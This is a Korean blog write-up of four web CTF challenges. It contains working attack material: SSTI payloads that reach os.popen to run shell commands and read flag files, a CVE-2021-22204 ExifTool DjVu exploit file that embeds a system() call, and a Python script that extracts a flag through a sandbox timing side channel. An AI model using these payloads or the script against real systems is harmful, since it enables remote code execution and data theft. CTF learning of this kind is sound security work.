매번 CTF 참가하고 라이트업 쓰려하니, 문제 서버가 바로 닫혀서 못 쓰다가 이번엔 풀면 바로바로 써서 저장해두려합니다.

Web 분야의 문제들만 풀어보았습니다.

1. Templates

 

Web 중 WarmUp에 분류되어있던 쉬운 문제입니다.

문제명부터 탬플릿이니 아마 SSTI겠죠

수상한 입력폼이 보입니다. 

SSTI라고 가정하고 {{7*7}}을 넣어보면

보시다싶이 7*7의 계산값인 49가 나왔습니다.

{{config}}를 입력해보면

역시 잘 작동하네요.
이를 이용해서 os 명령어를 실행하여 flag를 찾아보겠습니다.

{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

 

config가 가능하다는걸 알았기에 config 속성을 타고타고 globals의 os명령어에 닿을 수 있습니다.

일단 flag 파일의 존재 유무도 모르기에 루트 디렉토리 부터 찾아보겠습니다.

app 디렉토리에 아마 문제 파일이 있을거같죠?
app디렉토리도 보겠습니다.

{{config.__class__.__init__.__globals__['os'].popen('ls /app').read()}}

바로 찾았네요. 
cat 명령어로 /app/flag.txt의 내용을 보면

{{config.__class__.__init__.__globals__['os'].popen('cat /app/flag.txt').read()}}

 

이렇게 플래그를 획득 할 수 있습니다.

 

FLAG : 0xfun{Server_Side_Template_Injection_Awesome}

2. Shell

 

제목처럼 Shell을 이용하는 문제 같네요. 

EXIF 메타데이터를 이용해서 flag.txt를 읽으면 되는것 같습니다.

 

문제 서버에 들어가니 저렇게 파일을 업로드 할 수 있는 기능만 주어졌습니다.

해서 exif 관련한 cve가 풀이방법일 것 같아서 찾아보니 딱 알맞는 cve를 찾았습니다.

CVE-2021-22204를 보면 DjVu모듈의 문자열파싱 메커니즘에 허점이있어서 \c 라는 특수한 이스케이프 뒤에 ${system... } 같은 시스템 명령어가 삽입되는 취약점이 있다고합니다.

해서 아래와 같은 방식으로 익스플로잇 파일을 만들었습니다.

echo -n '(metadata "\c${system('cat /flag.txt')};")' > payload

bzz payload payload.bzz

djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTz=payload.bzz

mv exploit.djvu exploit_v3.jpg

 

bzz로 압축 후 djvu 형식으로 파일을 만들어 cve와 동일하게 jpg파일을 만들었습니다.

처음에 cat 명령어를 더블쿼터로 감쌌더니 재대로 작동을 안해서, 싱글쿼터로 감싸주었습니다.

그 후 문제에 올려보면

 

이렇게 플래그가 출력됩니다.

 

FLAG : 0xfun{h1dd3n_p4yl04d_1n_pl41n_51gh7}

3. Perceptions

 

문제 설명처럼 블로그 페이지를 보여줍니다.

 

로그인 페이지에서 SQLi로 푸는 문제인가.. 했는데 적힌것 처럼 로그인 서비스가 재대로 작동하지 않았습니다.

해서 개발자도구에서 소스코드를 보다보니

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Secret Post</title>
  <link rel="stylesheet" href="/style.css" />
  <script src="/links.js"></script>
</head>
<body>
  <header class="header">
    <h1 id="name">[placeholder]'s Blog</h1>
  </header>

  <div class="container">
    <aside class="sidebar">
      <h2>Pages ✨</h2>
      <nav>
        <ul id="navlist">
        </ul>
      </nav>
    </aside>

    <main class="content">
      <h2>Secret Post</h2>
      <br>
      <img src="/img/mystery.jpg" alt="How mysterious" />
      <p>
        Thought I'd make things a bit fun and hide a password on this page. When I get the login page working it will let you see some extra posts...
        <!-- Use my name and 'UlLOPNeEak9rFfmL' to log in -->
      </p>
    </main>
  </div>
</body>
</html>

 

주석에 패스워드가 적혀있었습니다.

id의 경우 /name 엔드포인트에 요청해보니 Charlie 라는걸 알 수 있었습니다.

해서 아이디는 Charlie, 패스워드는 UlLOPNeEak9rFfmL 라고 파악했습니다.

문제는 login 페이지가 작동을 안하는 상태인데, 이 계정을 어떻게 쓸 지 감을 못잡았습니다.

 

해서 클로드에게 좀 물어보다보니, SSH의 계정이지 않을까 라는 추측을 하게 되었습니다.

문제 설명을 보면, 하나의 포트에서 여러 서비스를 처리한다고 합니다.

해서 curl로 문제 서버 포트에 ssh 연결 요청을 보내보았습니다.

ssh Charlie@chall.0xfun.org -p 54919

 

놀랍게도 정답이었습니다.

비밀번호는 주석에서 알아낸 UlLOPNeEak9rFfmL를 입력해주니 통과가 되었습니다.

 

바로 쉘에 접속하게 되어서 파일들을 보다보니 누가봐도 플래그가 있는 파일을 찾았고

 

flag.txt를 열어보니 위처럼 플래그를 얻을 수 있었습니다.

FLAG : 0xfun{p3rsp3c71v3.15.k3y}

4. Schrödinger's Sandbox

 

좀 특이한 문제였습니다.

문제 서버에 접속하면 아래처럼 코드를 실행 시킬 수 있는 페이지가 나타납니다.

 

파이썬 코드를 실행하면 A와 B에서 코드가 실행되고, 그 시간을 보여줬습니다.

 

문제 설명을 보면 같은 코드가 각각 A와 B에서 실행되고, 실행되는 값이 동일 할 때 OUTPUT에 출력되는 구조라는걸 알 수 있었습니다.

해서 아마 진짜 플래그와 가짜 플래그가 각각 A와 B에 숨겨져 있을 것이고, 시간을 보여주는걸 보니 코드가 실행되는 시간의 차이로 진짜 플래그를 찾아야하는 것 같습니다.

import time
flag = open("/flag.txt").read()
if flag[0] == '0':
    time.sleep(2)
print("done")

 

이런식으로 출력은 done으로 고정하여 두 서버가 동일한 출력을 하게 시키고, 대신 if문으로 flag의 첫 값이 0이라면 2초를 지연시키게 함으로써 두 플래그를 모두 알아보았습니다.

예로 첫글자가 0이라면 아래 지연시간에 2s가 적힐 것이고, 아니라면 0.01에 가까운 시간이 찍힐 것 입니다.

해서 파이썬으로 자동화코드를 짜서 해결하였습니다.

import requests
import hashlib
import time
import string
import random

URL = "http://chall.0xfun.org:40842"
KNOWN = "0xfun{"
SLEEP_TIME = 2
TIME_THRESHOLD = 1.0  

CHARSET = (
    string.ascii_lowercase +
    "_" +
    string.digits +
    string.ascii_uppercase +
    "-!}"
)

def compute_pow(difficulty=4):
    target = '0' * difficulty
    while True:
        test = f"{int(time.time()*1000)}-{random.randint(0,999999)}-{random.random()}"
        if hashlib.sha256(test.encode()).hexdigest().startswith(target):
            return test

def submit_code(code):
    pow_nonce = compute_pow(4)
    try:
        response = requests.post(
            f"{URL}/api/submit",
            json={"code": code},
            headers={
                "Content-Type": "application/json",
                "X-Pow-Nonce": pow_nonce
            },
            timeout=30
        )
        return response.json()
    except Exception as e:
        print(f"  요청 실패: {e}")
        return {"error": str(e)}

def test_char(position, char):
    code = f"""import time
flag = open("/flag.txt").read()
if len(flag) > {position} and flag[{position}] == {repr(char)}:
    time.sleep({SLEEP_TIME})
print("done")
"""
    result = submit_code(code)

    if 'error' in result:
        print(f"  에러: {result['error']}")
        return None

    time_a = result.get('time_a', 0)
    time_b = result.get('time_b', 0)
    status = result.get('status', '?')

    a_hit = time_a > TIME_THRESHOLD
    b_hit = time_b > TIME_THRESHOLD

    if a_hit and b_hit:
        label = "<<< BOTH (둘 다 이 문자)"
    elif a_hit:
        label = "<<< A only"
    elif b_hit:
        label = "<<< B only"
    else:
        label = ""

    print(f"  [{char}] a={time_a:.4f} b={time_b:.4f} {status} {label}")

    return {
        "char": char,
        "a_hit": a_hit,
        "b_hit": b_hit,
        "time_a": time_a,
        "time_b": time_b,
    }

def extract_flag():
    # 검증 테스트
    print("[*] 검증: flag[0]=='0' 테스트")
    r = test_char(0, '0')
    print()

    flag_a = KNOWN  # Sandbox A의 플래그
    flag_b = KNOWN  # Sandbox B의 플래그
    print(f"[*] 시작: {KNOWN}")
    print(f"[*] 위치 {len(KNOWN)}부터 탐색\n")

    for pos in range(len(KNOWN), 100):
        print(f"--- 위치 {pos} ---")
        a_found = False
        b_found = False
        a_char = "?"
        b_char = "?"

        for char in CHARSET:
            r = test_char(pos, char)

            if r is None:
                continue

            if r["a_hit"] and not a_found:
                a_char = char
                a_found = True
            if r["b_hit"] and not b_found:
                b_char = char
                b_found = True

            # 둘 다 찾았으면 다음 위치로
            if a_found and b_found:
                break

            time.sleep(0.3)

        flag_a += a_char
        flag_b += b_char
        print(f"\n[+] A: {flag_a}")
        print(f"[+] B: {flag_b}\n")

        # 둘 다 못 찾으면 종료
        if not a_found and not b_found:
            print(f"[!] 위치 {pos}에서 둘 다 매칭 실패. 종료.")
            break

        # 둘 다 }를 만나면 종료
        if a_char == '}' and b_char == '}':
            break


    print(f"\n=============================")
    print(f"[*] Sandbox A 플래그: {flag_a}")
    print(f"[*] Sandbox B 플래그: {flag_b}")
    print(f"=============================")

if __name__ == "__main__":
    extract_flag()

 

 

FLAG : 0xfun{schr0d1ng3r_c4t_l34ks_thr0ugh_t1m3}

 

CTF가 끝나기 4시간전에 대회하는걸 알아채서 쉬운문제만 좀 풀다가 끝났네요.

더 하고싶었는데 아쉬운 대회였습니다.

'보안 > CTF' 카테고리의 다른 글

[V1t CTF 2025] Web write-up  (0) 2025.11.06
[CubeCTF] Web - Legal Snacks write-up  (0) 2025.07.07

+ Recent posts